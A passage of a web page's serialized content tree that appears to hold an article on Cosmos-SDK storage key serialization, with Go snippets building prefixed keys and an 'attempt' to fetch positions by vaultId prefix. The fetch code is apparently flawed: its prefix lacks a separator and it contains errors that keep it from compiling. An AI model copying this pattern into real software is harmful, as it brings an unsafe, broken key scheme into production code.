)\n}\n",[89027],{"type":23,"tag":71,"props":89028,"children":89029},{"__ignoreMap":7},[89030,89041,89056,89083,89108,89115,89122,89129,89144,89159,89186,89209,89228,89243,89278,89285,89320,89327,89346,89361,89396,89403,89438,89445,89472,89484,89496,89507,89518,89529,89540,89551,89558,89565,89572,89579,89594,89609,89636,89659,89678,89693,89728,89735,89770,89777,89796,89811,89846,89853,89888,89895,89922,89933,89945,89956,89967,89978,89989,90000,90008],{"type":23,"tag":230,"props":89031,"children":89032},{"class":232,"line":233},[89033,89037],{"type":23,"tag":230,"props":89034,"children":89035},{"style":256},[89036],{"type":29,"value":259},{"type":23,"tag":230,"props":89038,"children":89039},{"style":274},[89040],{"type":29,"value":80345},{"type":23,"tag":230,"props":89042,"children":89043},{"class":232,"line":243},[89044,89048,89052],{"type":23,"tag":230,"props":89045,"children":89046},{"style":262},[89047],{"type":29,"value":87110},{"type":23,"tag":230,"props":89049,"children":89050},{"style":268},[89051],{"type":29,"value":271},{"type":23,"tag":230,"props":89053,"children":89054},{"style":380},[89055],{"type":29,"value":87119},{"type":23,"tag":230,"props":89057,"children":89058},{"class":232,"line":252},[89059,89064,89068,89073,89078],{"type":23,"tag":230,"props":89060,"children":89061},{"style":262},[89062],{"type":29,"value":89063},"    PositionMapPrefix",{"type":23,"tag":230,"props":89065,"children":89066},{"style":268},[89067],{"type":29,"value":271},{"type":23,"tag":230,"props":89069,"children":89070},{"style":380},[89071],{"type":29,"value":89072}," \"",{"type":23,"tag":230,"props":89074,"children":89075},{"style":50145},[89076],{"type":29,"value":89077},"\\x01",{"type":23,"tag":230,"props":89079,"children":89080},{"style":380},[89081],{"type":29,"value":89082},"\"\n",{"type":23,"tag":230,"props":89084,"children":89085},{"class":232,"line":280},[89086,89091,89095,89099,89104],{"type":23,"tag":230,"props":89087,"children":89088},{"style":262},[89089],{"type":29,"value":89090},"    AddressMapPrefix",{"type":23,"tag":230,"props":89092,"children":89093},{"style":268},[89094],{"type":29,"value":271},{"type":23,"tag":230,"props":89096,"children":89097},{"style":380},[89098],{"type":29,"value":89072},{"type":23,"tag":230,"props":89100,"children":89101},{"style":50145},[89102],{"type":29,"value":89103},"\\x02",{"type":23,"tag":230,"props":89105,"children":89106},{"style":380},[89107],{"type":29,"value":89082},{"type":23,"tag":230,"props":89109,"children":89110},{"class":232,"line":334},[89111],{"type":23,"tag":230,"props":89112,"children":89113},{"style":274},[89114],{"type":29,"value":4516},{"type":23,"tag":230,"props":89116,"children":89117},{"class":232,"line":371},[89118],{"type":23,"tag":230,"props":89119,"children":89120},{"emptyLinePlaceholder":18},[89121],{"type":29,"value":459},{"type":23,"tag":230,"props":89123,"children":89124},{"class":232,"line":391},[89125],{"type":23,"tag":230,"props":89126,"children":89127},{"emptyLinePlaceholder":18},[89128],{"type":29,"value":459},{"type":23,"tag":230,"props":89130,"children":89131},{"class":232,"line":400},[89132,89136,89140],{"type":23,"tag":230,"props":89133,"children":89134},{"style":256},[89135],{"type":29,"value":78079},{"type":23,"tag":230,"props":89137,"children":89138},{"style":294},[89139],{"type":29,"value":88138},{"type":23,"tag":230,"props":89141,"children":89142},{"style":274},[89143],{"type":29,"value":619},{"type":23,"tag":230,"props":89145,"children":89146},{"class":232,"line":444},[89147,89151,89155],{"type":23,"tag":230,"props":89148,"children":89149},{"style":262},[89150],{"type":29,"value":87026},{"type":23,"tag":230,"props":89152,"children":89153},{"style":676},[89154],{"type":29,"value":78200},{"type":23,"tag":230,"props":89156,"children":89157},{"style":274},[89158],{"type":29,"value":388},{"type":23,"tag":230,"props":89160,"children":89161},{"class":232,"line":453},[89162,89166,89170,89174,89178,89182],{"type":23,"tag":230,"props":89163,"children":89164},{"style":262},[89165],{"type":29,"value":87038},{"type":23,"tag":230,"props":89167,"children":89168},{"style":274},[89169],{"type":29,"value":684},{"type":23,"tag":230,"props":89171,"children":89172},{"style":262},[89173],{"type":29,"value":87519},{"type":23,"tag":230,"props":89175,"children":89176},{"style":274},[89177],{"type":29,"value":78006},{"type":23,"tag":230,"props":89179,"children":89180},{"style":676},[89181],{"type":29,"value":86544},{"type":23,"tag":230,"props":89183,"children":89184},{"style":274},[89185],{"type":29,"value":388},{"type":23,"tag":230,"props":89187,"children":89188},{"class":232,"line":462},[89189,89193,89197,89201,89205],{"type":23,"tag":230,"props":89190,"children":89191},{"style":274},[89192],{"type":29,"value":78161},{"type":23,"tag":230,"props":89194,"children":89195},{"style":262},[89196],{"type":29,"value":73933},{"type":23,"tag":230,"props":89198,"children":89199},{"style":274},[89200],{"type":29,"value":78006},{"type":23,"tag":230,"props":89202,"children":89203},{"style":676},[89204],{"type":29,"value":86544},{"type":23,"tag":230,"props":89206,"children":89207},{"style":274},[89208],{"type":29,"value":827},{"type":23,"tag":230,"props":89210,"children":89211},{"class":232,"line":471},[89212,89216,89220,89224],{"type":23,"tag":230,"props":89213,"children":89214},{"style":262},[89215],{"type":29,"value":87640},{"type":23,"tag":230,"props":89217,"children":89218},{"style":268},[89219],{"type":29,"value":78195},{"type":23,"tag":230,"props":89221,"children":89222},{"style":294},[89223],{"type":29,"value":87343},{"type":23,"tag":230,"props":89225,"children":89226},{"style":274},[89227],{"type":29,"value":619},{"type":23,"tag":230,"props":89229,"children":89230},{"class":232,"line":500},[89231,89235,89239],{"type":23,"tag":230,"props":89232,"children":89233},{"style":274},[89234],{"type":29,"value":88234},{"type":23,"tag":230,"props":89236,"children":89237},{"style":676},[89238],{"type":29,"value":86544},{"type":23,"tag":230,"props":89240,"children":89241},{"style":274},[89242],{"type":29,"value":388},{"type":23,"tag":230,"props":89244,"children":89245},{"class":232,"line":514},[89246,89250,89254,89258,89262,89266,89270,89274],{"type":23,"tag":230,"props":89247,"children":89248},{"style":262},[89249],{"type":29,"value":88250},{"type":23,"tag":230,"props":89251,"children":89252},{"style":274},[89253],{"type":29,"value":312},{"type":23,"tag":230,"props":89255,"children":89256},{"style":294},[89257],{"type":29,"value":87380},{"type":23,"tag":230,"props":89259,"children":89260},{"style":274},[89261],{"type":29,"value":302},{"type":23,"tag":230,"props":89263,"children":89264},{"style":294},[89265],{"type":29,"value":11471},{"type":23,"tag":230,"props":89267,"children":89268},{"style":274},[89269],{"type":29,"value":302},{"type":23,"tag":230,"props":89271,"children":89272},{"style":262},[89273],{"type":29,"value":87250},{"type":23,"tag":230,"props":89275,"children":89276},{"style":274},[89277],{"type":29,"value":87401},{"type":23,"tag":230,"props":89279,"children":89280},{"class":232,"line":897},[89281],{"type":23,"tag":230,"props":89282,"children":89283},{"style":274},[89284],{"type":29,"value":26225},{"type":23,"tag":230,"props":89286,"children":89287},{"class":232,"line":960},[89288,89292,89296,89300,89304,89308,89312,89316],{"type":23,"tag":230,"props":89289,"children":89290},{"style":262},[89291],{"type":29,"value":87371},{"type":23,"tag":230,"props":89293,"children":89294},{"style":274},[89295],{"type":29,"value":312},{"type":23,"tag":230,"props":89297,"children":89298},{"style":294},[89299],{"type":29,"value":87425},{"type":23,"tag":230,"props":89301,"children":89302},{"style":274},[89303],{"type":29,"value":302},{"type":23,"tag":230,"props":89305,"children":89306},{"style":262},[89307],{"type":29,"value":87334},{"type":23,"tag":230,"props":89309,"children":89310},{"style":274},[89311],{"type":29,"value":684},{"type":23,"tag":230,"props":89313,"children":89314},{"style":262},[89315],{"type":29,"value":87250},{"type":23,"tag":230,"props":89317,"children":89318},{"style":274},[89319],{"type":29,"value":4516},{"type":23,"tag":230,"props":89321,"children":89322},{"class":232,"line":969},[89323],{"type":23,"tag":230,"props":89324,"children":89325},{"emptyLinePlaceholder":18},[89326],{"type":29,"value":459},{"type":23,"tag":230,"props":89328,"children":89329},{"class":232,"line":4526},[89330,89334,89338,89342],{"type":23,"tag":230,"props":89331,"children":89332},{"style":262},[89333],{"type":29,"value":88335},{"type":23,"tag":230,"props":89335,"children":89336},{"style":268},[89337],{"type":29,"value":78195},{"type":23,"tag":230,"props":89339,"children":89340},{"style":294},[89341],{"type":29,"value":87343},{"type":23,"tag":230,"props":89343,"children":89344},{"style":274},[89345],{"type":29,"value":619},{"type":23,"tag":230,"props":89347,"children":89348},{"class":232,"line":4534},[89349,89353,89357],{"type":23,"tag":230,"props":89350,"children":89351},{"style":274},[89352],{"type":29,"value":88234},{"type":23,"tag":230,"props":89354,"children":89355},{"style":676},[89356],{"type":29,"value":86544},{"type":23,"tag":230,"props":89358,"children":89359},{"style":274},[89360],{"type":29,"value":388},{"type":23,"tag":230,"props":89362,"children":89363},{"class":232,"line":4542},[89364,89368,89372,89376,89380,89384,89388,89392],{"type":23,"tag":230,"props":89365,"children":89366},{"style":262},[89367],{"type":29,"value":88250},{"type":23,"tag":230,"props":89369,"children":89370},{"style":274},[89371],{"type":29,"value":312},{"type":23,"tag":230,"props":89373,"children":89374},{"style":294},[89375],{"type":29,"value":87380},{"type":23,"tag":230,"props":89377,"children":89378},{"style":274},[89379],{"type":29,"value":302},{"type":23,"tag":230,"props":89381,"children":89382},{"style":294},[89383],{"type":29,"value":11471},{"type":23,"tag":230,"props":89385,"children":89386},{"style":274},[89387],{"type":29,"value":302},{"type":23,"tag":230,"props":89389,"children":89390},{"style":262},[89391],{"type":29,"value":87519},{"type":23,"tag":230,"props":89393,"children":89394},{"style":274},[89395],{"type":29,"value":87401},{"type":23,"tag":230,"props":89397,"children":89398},{"class":232,"line":4559},[89399],{"type":23,"tag":230,"props":89400,"children":89401},{"style":274},[89402],{"type":29,"value":26225},{"type":23,"tag":230,"props":89404,"children":89405},{"class":232,"line":4587},[89406,89410,89414,89418,89422,89426,89430,89434],{"type":23,"tag":230,"props":89407,"children":89408},{"style":262},[89409],{"type":29,"value":87371},{"type":23,"tag":230,"props":89411,"children":89412},{"style":274},[89413],{"type":29,"value":312},{"type":23,"tag":230,"props":89415,"children":89416},{"style":294},[89417],{"type":29,"value":87425},{"type":23,"tag":230,"props":89419,"children":89420},{"style":274},[89421],{"type":29,"value":302},{"type":23,"tag":230,"props":89423,"children":89424},{"style":262},[89425],{"type":29,"value":87460},{"type":23,"tag":230,"props":89427,"children":89428},{"style":274},[89429],{"type":29,"value":684},{"type":23,"tag":230,"props":89431,"children":89432},{"style":262},[89433],{"type":29,"value":87519},{"type":23,"tag":230,"props":89435,"children":89436},{"style":274},[89437],{"type":29,"value":4516},{"type":23,"tag":230,"props":89439,"children":89440},{"class":232,"line":4595},[89441],{"type":23,"tag":230,"props":89442,"children":89443},{"emptyLinePlaceholder":18},[89444],{"type":29,"value":459},{"type":23,"tag":230,"props":89446,"children":89447},{"class":232,"line":4619},[89448,89452,89456,89460,89464,89468],{"type":23,"tag":230,"props":89449,"children":89450},{"style":262},[89451],{"type":29,"value":88454},{"type":23,"tag":230,"props":89453,"children":89454},{"style":268},[89455],{"type":29,"value":78195},{"type":23,"tag":230,"props":89457,"children":89458},{"style":262},[89459],{"type":29,"value":84013},{"type":23,"tag":230,"props":89461,"children":89462},{"style":274},[89463],{"type":29,"value":312},{"type":23,"tag":230,"props":89465,"children":89466},{"style":294},[89467],{"type":29,"value":87002},{"type":23,"tag":230,"props":89469,"children":89470},{"style":274},[89471],{"type":29,"value":619},{"type":23,"tag":230,"props":89473,"children":89474},{"class":232,"line":4627},[89475,89480],{"type":23,"tag":230,"props":89476,"children":89477},{"style":380},[89478],{"type":29,"value":89479},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":230,"props":89481,"children":89482},{"style":274},[89483],{"type":29,"value":388},{"type":23,"tag":230,"props":89485,"children":89486},{"class":232,"line":4659},[89487,89492],{"type":23,"tag":230,"props":89488,"children":89489},{"style":262},[89490],{"type":29,"value":89491},"        PositionMapPrefix",{"type":23,"tag":230,"props":89493,"children":89494},{"style":274},[89495],{"type":29,"value":388},{"type":23,"tag":230,"props":89497,"children":89498},{"class":232,"line":4671},[89499,89503],{"type":23,"tag":230,"props":89500,"children":89501},{"style":262},[89502],{"type":29,"value":88494},{"type":23,"tag":230,"props":89504,"children":89505},{"style":274},[89506],{"type":29,"value":388},{"type":23,"tag":230,"props":89508,"children":89509},{"class":232,"line":4688},[89510,89514],{"type":23,"tag":230,"props":89511,"children":89512},{"style":262},[89513],{"type":29,"value":88506},{"type":23,"tag":230,"props":89515,"children":89516},{"style":274},[89517],{"type":29,"value":388},{"type":23,"tag":230,"props":89519,"children":89520},{"class":232,"line":4701},[89521,89525],{"type":23,"tag":230,"props":89522,"children":89523},{"style":262},[89524],{"type":29,"value":88518},{"type":23,"tag":230,"props":89526,"children":89527},{"style":274},[89528],{"type":29,"value":388},{"type":23,"tag":230,"props":89530,"children":89531},{"class":232,"line":4724},[89532,89536],{"type":23,"tag":230,"props":89533,"children":89534},{"style":262},[89535],{"type":29,"value":88506},{"type":23,"tag":230,"props":89537,"children":89538},{"style":274},[89539],{"type":29,"value":388},{"type":23,"tag":230,"props":89541,"children":89542},{"class":232,"line":4741},[89543,89547],{"type":23,"tag":230,"props":89544,"children":89545},{"style":262},[89546],{"type":29,"value":88541},{"type":23,"tag":230,"props":89548,"children":89549},{"style":274},[89550],{"type":29,"value":388},{"type":23,"tag":230,"props":89552,"children":89553},{"class":232,"line":4759},[89554],{"type":23,"tag":230,"props":89555,"children":89556},{"style":274},[89557],{"type":29,"value":26225},{"type":23,"tag":230,"props":89559,"children":89560},{"class":232,"line":4768},[89561],{"type":23,"tag":230,"props":89562,"children":89563},{"style":274},[89564],{"type":29,"value":975},{"type":23,"tag":230,"props":89566,"children":89567},{"class":232,"line":4776},[89568],{"type":23,"tag":230,"props":89569,"children":89570},{"emptyLinePlaceholder":18},[89571],{"type":29,"value":459},{"type":23,"tag":230,"props":89573,"children":89574},{"class":232,"line":4784},[89575],{"type":23,"tag":230,"props":89576,"children":89577},{"emptyLinePlaceholder":18},[89578],{"type":29,"value":459},{"type":23,"tag":230,"props":89580,"children":89581},{"class":232,"line":4792},[89582,89586,89590],{"type":23,"tag":230,"props":89583,"children":89584},{"style":256},[89585],{"type":29,"value":78079},{"type":23,"tag":230,"props":89587,"children":89588},{"style":294},[89589],{"type":29,"value":88585},{"type":23,"tag":230,"props":89591,"children":89592},{"style":274},[89593],{"type":29,"value":619},{"type":23,"tag":230,"props":89595,"children":89596},{"class":232,"line":4824},[89597,89601,89605],{"type":23,"tag":230,"props":89598,"children":89599},{"style":262},[89600],{"type":29,"value":87026},{"type":23,"tag":230,"props":89602,"children":89603},{"style":676},[89604],{"type":29,"value":78200},{"type":23,"tag":230,"props":89606,"children":89607},{"style":274},[89608],{"type":29,"value":388},{"type":23,"tag":230,"props":89610,"children":89611},{"class":232,"line":4832},[89612,89616,89620,89624,89628,89632],{"type":23,"tag":230,"props":89613,"children":89614},{"style":262},[89615],{"type":29,"value":87038},{"type":23,"tag":230,"props":89617,"children":89618},{"style":274},[89619],{"type":29,"value":684},{"type":23,"tag":230,"props":89621,"children":89622},{"style":262},[89623],{"type":29,"value":88620},{"type":23,"tag":230,"props":89625,"children":89626},{"style":274},[89627],{"type":29,"value":78006},{"type":23,"tag":230,"props":89629,"children":89630},{"style":676},[89631],{"type":29,"value":86544},{"type":23,"tag":230,"props":89633,"children":89634},{"style":274},[89635],{"type":29,"value":388},{"type":23,"tag":230,"props":89637,"children":89638},{"class":232,"line":4840},[89639,89643,89647,89651,89655],{"type":23,"tag":230,"props":89640,"children":89641},{"style":274},[89642],{"type":29,"value":78161},{"type":23,"tag":230,"props":89644,"children":89645},{"style":262},[89646],{"type":29,"value":73933},{"type":23,"tag":230,"props":89648,"children":89649},{"style":274},[89650],{"type":29,"value":78006},{"type":23,"tag":230,"props":89652,"children":89653},{"style":676},[89654],{"type":29,"value":86544},{"type":23,"tag":230,"props":89656,"children":89657},{"style":274},[89658],{"type":29,"value":827},{"type":23,"tag":230,"props":89660,"children":89661},{"class":232,"line":4901},[89662,89666,89670,89674],{"type":23,"tag":230,"props":89663,"children":89664},{"style":262},[89665],{"type":29,"value":87640},{"type":23,"tag":230,"props":89667,"children":89668},{"style":268},[89669],{"type":29,"value":78195},{"type":23,"tag":230,"props":89671,"children":89672},{"style":294},[89673],{"type":29,"value":87343},{"type":23,"tag":230,"props":89675,"children":89676},{"style":274},[89677],{"type":29,"value":619},{"type":23,"tag":230,"props":89679,"children":89680},{"class":232,"line":4909},[89681,89685,89689],{"type":23,"tag":230,"props":89682,"children":89683},{"style":274},[89684],{"type":29,"value":88234},{"type":23,"tag":230,"props":89686,"children":89687},{"style":676},[89688],{"type":29,"value":86544},{"type":23,"tag":230,"props":89690,"children":89691},{"style":274},[89692],{"type":29,"value":388},{"type":23,"tag":230,"props":89694,"children":89695},{"class":232,"line":4938},[89696,89700,89704,89708,89712,89716,89720,89724],{"type":23,"tag":230,"props":89697,"children":89698},{"style":262},[89699],{"type":29,"value":88250},{"type":23,"tag":230,"props":89701,"children":89702},{"style":274},[89703],{"type":29,"value":312},{"type":23,"tag":230,"props":89705,"children":89706},{"style":294},[89707],{"type":29,"value":87380},{"type":23,"tag":230,"props":89709,"children":89710},{"style":274},[89711],{"type":29,"value":302},{"type":23,"tag":230,"props":89713,"children":89714},{"style":294},[89715],{"type":29,"value":11471},{"type":23,"tag":230,"props":89717,"children":89718},{"style":274},[89719],{"type":29,"value":302},{"type":23,"tag":230,"props":89721,"children":89722},{"style":262},[89723],{"type":29,"value":87250},{"type":23,"tag":230,"props":89725,"children":89726},{"style":274},[89727],{"type":29,"value":87401},{"type":23,"tag":230,"props":89729,"children":89730},{"class":232,"line":4957},[89731],{"type":23,"tag":230,"props":89732,"children":89733},{"style":274},[89734],{"type":29,"value":26225},{"type":23,"tag":230,"props":89736,"children":89737},{"class":232,"line":4973},[89738,89742,89746,89750,89754,89758,89762,89766],{"type":23,"tag":230,"props":89739,"children":89740},{"style":262},[89741],{"type":29,"value":87371},{"type":23,"tag":230,"props":89743,"children":89744},{"style":274},[89745],{"type":29,"value":312},{"type":23,"tag":230,"props":89747,"children":89748},{"style":294},[89749],{"type":29,"value":87425},{"type":23,"tag":230,"props":89751,"children":89752},{"style":274},[89753],{"type":29,"value":302},{"type":23,"tag":230,"props":89755,"children":89756},{"style":262},[89757],{"type":29,"value":87334},{"type":23,"tag":230,"props":89759,"children":89760},{"style":274},[89761],{"type":29,"value":684},{"type":23,"tag":230,"props":89763,"children":89764},{"style":262},[89765],{"type":29,"value":87250},{"type":23,"tag":230,"props":89767,"children":89768},{"style":274},[89769],{"type":29,"value":4516},{"type":23,"tag":230,"props":89771,"children":89772},{"class":232,"line":4990},[89773],{"type":23,"tag":230,"props":89774,"children":89775},{"emptyLinePlaceholder":18},[89776],{"type":29,"value":459},{"type":23,"tag":230,"props":89778,"children":89779},{"class":232,"line":5006},[89780,89784,89788,89792],{"type":23,"tag":230,"props":89781,"children":89782},{"style":262},[89783],{"type":29,"value":88777},{"type":23,"tag":230,"props":89785,"children":89786},{"style":268},[89787],{"type":29,"value":78195},{"type":23,"tag":230,"props":89789,"children":89790},{"style":294},[89791],{"type":29,"value":87343},{"type":23,"tag":230,"props":89793,"children":89794},{"style":274},[89795],{"type":29,"value":619},{"type":23,"tag":230,"props":89797,"children":89798},{"class":232,"line":5019},[89799,89803,89807],{"type":23,"tag":230,"props":89800,"children":89801},{"style":274},[89802],{"type":29,"value":88234},{"type":23,"tag":230,"props":89804,"children":89805},{"style":676},[89806],{"type":29,"value":86544},{"type":23,"tag":230,"props":89808,"children":89809},{"style":274},[89810],{"type":29,"value":388},{"type":23,"tag":230,"props":89812,"children":89813},{"class":232,"line":5050},[89814,89818,89822,89826,89830,89834,89838,89842],{"type":23,"tag":230,"props":89815,"children":89816},{"style":262},[89817],{"type":29,"value":88250},{"type":23,"tag":230,"props":89819,"children":89820},{"style":274},[89821],{"type":29,"value":312},{"type":23,"tag":230,"props":89823,"children":89824},{"style":294},[89825],{"type":29,"value":87380},{"type":23,"tag":230,"props":89827,"children":89828},{"style":274},[89829],{"type":29,"value":302},{"type":23,"tag":230,"props":89831,"children":89832},{"style":294},[89833],{"type":29,"value":11471},{"type":23,"tag":230,"props":89835,"children":89836},{"style":274},[89837],{"type":29,"value":302},{"type":23,"tag":230,"props":89839,"children":89840},{"style":262},[89841],{"type":29,"value":88620},{"type":23,"tag":230,"props":89843,"children":89844},{"style":274},[89845],{"type":29,"value":87401},{"type":23,"tag":230,"props":89847,"children":89848},{"class":232,"line":5058},[89849],{"type":23,"tag":230,"props":89850,"children":89851},{"style":274},[89852],{"type":29,"value":26225},{"type":23,"tag":230,"props":89854,"children":89855},{"class":232,"line":26228},[89856,89860,89864,89868,89872,89876,89880,89884],{"type":23,"tag":230,"props":89857,"children":89858},{"style":262},[89859],{"type":29,"value":87371},{"type":23,"tag":230,"props":89861,"children":89862},{"style":274},[89863],{"type":29,"value":312},{"type":23,"tag":230,"props":89865,"children":89866},{"style":294},[89867],{"type":29,"value":87425},{"type":23,"tag":230,"props":89869,"children":89870},{"style":274},[89871],{"type":29,"value":302},{"type":23,"tag":230,"props":89873,"children":89874},{"style":262},[89875],{"type":29,"value":88870},{"type":23,"tag":230,"props":89877,"children":89878},{"style":274},[89879],{"type":29,"value":684},{"type":23,"tag":230,"props":89881,"children":89882},{"style":262},[89883],{"type":29,"value":88620},{"type":23,"tag":230,"props":89885,"children":89886},{"style":274},[89887],{"type":29,"value":4516},{"type":23,"tag":230,"props":89889,"children":89890},{"class":232,"line":34574},[89891],{"type":23,"tag":230,"props":89892,"children":89893},{"emptyLinePlaceholder":18},[89894],{"type":29,"value":459},{"type":23,"tag":230,"props":89896,"children":89897},{"class":232,"line":34595},[89898,89902,89906,89910,89914,89918],{"type":23,"tag":230,"props":89899,"children":89900},{"style":262},[89901],{"type":29,"value":88454},{"type":23,"tag":230,"props":89903,"children":89904},{"style":268},[89905],{"type":29,"value":78195},{"type":23,"tag":230,"props":89907,"children":89908},{"style":262},[89909],{"type":29,"value":84013},{"type":23,"tag":230,"props":89911,"children":89912},{"style":274},[89913],{"type":29,"value":312},{"type":23,"tag":230,"props":89915,"children":89916},{"style":294},[89917],{"type":29,"value":87002},{"type":23,"tag":230,"props":89919,"children":89920},{"style":274},[89921],{"type":29,"value":619},{"type":23,"tag":230,"props":89923,"children":89924},{"class":232,"line":82730},[89925,89929],{"type":23,"tag":230,"props":89926,"children":89927},{"style":380},[89928],{"type":29,"value":89479},{"type":23,"tag":230,"props":89930,"children":89931},{"style":274},[89932],{"type":29,"value":388},{"type":23,"tag":230,"props":89934,"children":89935},{"class":232,"line":82743},[89936,89941],{"type":23,"tag":230,"props":89937,"children":89938},{"style":262},[89939],{"type":29,"value":89940},"        AddressMapPrefix",{"type":23,"tag":230,"props":89942,"children":89943},{"style":274},[89944],{"type":29,"value":388},{"type":23,"tag":230,"props":89946,"children":89947},{"class":232,"line":82751},[89948,89952],{"type":23,"tag":230,"props":89949,"children":89950},{"style":262},[89951],{"type":29,"value":88494},{"type":23,"tag":230,"props":89953,"children":89954},{"style":274},[89955],{"type":29,"value":388},{"type":23,"tag":230,"props":89957,"children":89958},{"class":232,"line":82759},[89959,89963],{"type":23,"tag":230,"props":89960,"children":89961},{"style":262},[89962],{"type":29,"value":88506},{"type":23,"tag":230,"props":89964,"children":89965},{"style":274},[89966],{"type":29,"value":388},{"type":23,"tag":230,"props":89968,"children":89969},{"class":232,"line":82767},[89970,89974],{"type":23,"tag":230,"props":89971,"children":89972},{"style":262},[89973],{"type":29,"value":88518},{"type":23,"tag":230,"props":89975,"children":89976},{"style":274},[89977],{"type":29,"value":388},{"type":23,"tag":230,"props":89979,"children":89980},{"class":232,"line":82807},[89981,89985],{"type":23,"tag":230,"props":89982,"children":89983},{"style":262},[89984],{"type":29,"value":88506},{"type":23,"tag":230,"props":89986,"children":89987},{"style":274},[89988],{"type":29,"value":388},{"type":23,"tag":230,"props":89990,"children":89991},{"class":232,"line":82815},[89992,89996],{"type":23,"tag":230,"props":89993,"children":89994},{"style":262},[89995],{"type":29,"value":88979},{"type":23,"tag":230,"props":89997,"children":89998},{"style":274},[89999],{"type":29,"value":388},{"type":23,"tag":230,"props":90001,"children":90003},{"class":232,"line":90002},60,[90004],{"type":23,"tag":230,"props":90005,"children":90006},{"style":274},[90007],{"type":29,"value":26225},{"type":23,"tag":230,"props":90009,"children":90011},{"class":232,"line":90010},61,[90012],{"type":23,"tag":230,"props":90013,"children":90014},{"style":274},[90015],{"type":29,"value":975},{"type":23,"tag":32,"props":90017,"children":90018},{},[90019],{"type":29,"value":90020},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":32,"props":90022,"children":90023},{},[90024,90026,90031],{"type":29,"value":90025},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":71,"props":90027,"children":90029},{"className":90028},[],[90030],{"type":29,"value":68878},{"type":29,"value":90032},", data should still be retrievable through original keys.",{"type":23,"tag":32,"props":90034,"children":90035},{},[90036,90038,90044,90046,90051],{"type":29,"value":90037},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":71,"props":90039,"children":90041},{"className":90040},[],[90042],{"type":29,"value":90043},"map[Username]map[PositionName]Position",{"type":29,"value":90045}," associated with a ",{"type":23,"tag":71,"props":90047,"children":90049},{"className":90048},[],[90050],{"type":29,"value":86914},{"type":29,"value":90052}," from the storage. How can we safely accomplish this?",{"type":23,"tag":32,"props":90054,"children":90055},{},[90056,90058,90063,90065,90071],{"type":29,"value":90057},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":71,"props":90059,"children":90061},{"className":90060},[],[90062],{"type":29,"value":86985},{"type":29,"value":90064}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":71,"props":90066,"children":90068},{"className":90067},[],[90069],{"type":29,"value":90070},"vaultId",{"type":29,"value":218},{"type":23,"tag":220,"props":90073,"children":90075},{"code":90074,"language":77943,"meta":7,"className":77944,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[90076],{"type":23,"tag":71,"props":90077,"children":90078},{"__ignoreMap":7},[90079,90095,90110,90159,90211,90240,90252,90298,90305,90351,90406,90413,90477,90538,90561,90580,90587,90594,90654,90713,90736,90755,90762,90769,90822,90870,90877,90884,90924,90953,90960,90967,90979],{"type":23,"tag":230,"props":90080,"children":90081},{"class":232,"line":233},[90082,90086,90091],{"type":23,"tag":230,"props":90083,"children":90084},{"style":256},[90085],{"type":29,"value":78079},{"type":23,"tag":230,"props":90087,"children":90088},{"style":294},[90089],{"type":29,"value":90090}," FetchPositionMapWithVaultId",{"type":23,"tag":230,"props":90092,"children":90093},{"style":274},[90094],{"type":29,"value":619},{"type":23,"tag":230,"props":90096,"children":90097},{"class":232,"line":243},[90098,90102,90106],{"type":23,"tag":230,"props":90099,"children":90100},{"style":262},[90101],{"type":29,"value":87026},{"type":23,"tag":230,"props":90103,"children":90104},{"style":676},[90105],{"type":29,"value":78200},{"type":23,"tag":230,"props":90107,"children":90108},{"style":274},[90109],{"type":29,"value":388},{"type":23,"tag":230,"props":90111,"children":90112},{"class":232,"line":252},[90113,90118,90122,90126,90130,90134,90138,90142,90146,90150,90155],{"type":23,"tag":230,"props":90114,"children":90115},{"style":274},[90116],{"type":29,"value":90117},") ([]",{"type":23,"tag":230,"props":90119,"children":90120},{"style":256},[90121],{"type":29,"value":68878},{"type":23,"tag":230,"props":90123,"children":90124},{"style":274},[90125],{"type":29,"value":6069},{"type":23,"tag":230,"props":90127,"children":90128},{"style":676},[90129],{"type":29,"value":86931},{"type":23,"tag":230,"props":90131,"children":90132},{"style":274},[90133],{"type":29,"value":17735},{"type":23,"tag":230,"props":90135,"children":90136},{"style":256},[90137],{"type":29,"value":68878},{"type":23,"tag":230,"props":90139,"children":90140},{"style":274},[90141],{"type":29,"value":6069},{"type":23,"tag":230,"props":90143,"children":90144},{"style":676},[90145],{"type":29,"value":86948},{"type":23,"tag":230,"props":90147,"children":90148},{"style":274},[90149],{"type":29,"value":17735},{"type":23,"tag":230,"props":90151,"children":90152},{"style":676},[90153],{"type":29,"value":90154},"Position",{"type":23,"tag":230,"props":90156,"children":90157},{"style":274},[90158],{"type":29,"value":827},{"type":23,"tag":230,"props":90160,"children":90161},{"class":232,"line":280},[90162,90167,90171,90175,90179,90183,90187,90191,90195,90199,90203,90207],{"type":23,"tag":230,"props":90163,"children":90164},{"style":262},[90165],{"type":29,"value":90166},"    